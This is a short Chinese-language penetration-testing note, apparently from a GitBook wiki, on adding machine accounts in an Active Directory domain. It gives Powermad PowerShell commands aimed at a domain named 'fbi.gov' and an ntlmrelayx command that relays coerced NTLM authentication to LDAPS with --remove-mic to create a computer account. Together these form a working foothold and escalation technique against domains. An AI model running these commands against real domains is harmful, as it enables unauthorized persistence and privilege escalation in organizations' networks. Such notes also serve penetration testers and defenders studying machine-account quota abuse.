# 创建机器用户

域内普通用户都有属性`ms-DS-MachineAccountQuota`默认为10，代表默认可以创建十个机器用户

机器用户也是有域用户的一些属性，如果有机器用户凭据也可以用机器用户在域内进行域渗透

#### powermad创建机器用户

```
# 导入powermad
import-module .\powermad.ps1

# 设置机器账户的密码
$Password = ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force

# 通过 New-MachineAccount 函数创建机器账户
 New-MachineAccount -MachineAccount "test" -Password $($Password) -Domain "fbi.gov" -DomainCon
troller "dc.fbi.gov" -Verbose
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FHT8YUl9elvDicyn3DBRc%2F1673323355181.png?alt=media&#x26;token=86772377-4884-4abc-9d45-1174c17ce376" alt=""><figcaption></figcaption></figure>

![](https://c/users/ice/desktop/rain1_lce/%E5%9B%BE%E7%89%87/1673323355181.png)

#### NTLM Relay to LDAPS创建机器用户

需要域控制器未开启策略`域控制器：LDAP服务器通道绑定令牌要求`，默认没有设置

```
python3 ntlmrelayx.py -t ldaps://10.10.10.144 --add-computer --remove-mic --no-dump -smb2support
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FOPphcWIxasLZwwHEtqKZ%2F1685848000336.png?alt=media&#x26;token=ac93c0a6-38be-439b-8449-4182557d0a2b" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1685848000336.png)

机器用户也可以添加机器用户，我这里使用强制身份验证让域内某个机器对kaili进行身份验证并relay到ldaps添加机器用户

```
python3 ntlmrelayx.py -t ldaps://10.10.10.144 --add-computer --remove-mic --no-dump -smb2support
```

<figure><img src="https://2474992116-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fo0gnu7SjwiL85l4AHJtG%2Fuploads%2FWlROr5giDTcW4PhmUWOu%2F1685848411409.png?alt=media&#x26;token=0530119e-6260-48c6-a72a-77430019fc2c" alt=""><figcaption></figcaption></figure>

![](C:%5CUsers%5Cice%5CDesktop%5CRain1_lce%5C%E5%9B%BE%E7%89%87%5C1685848411409.png)
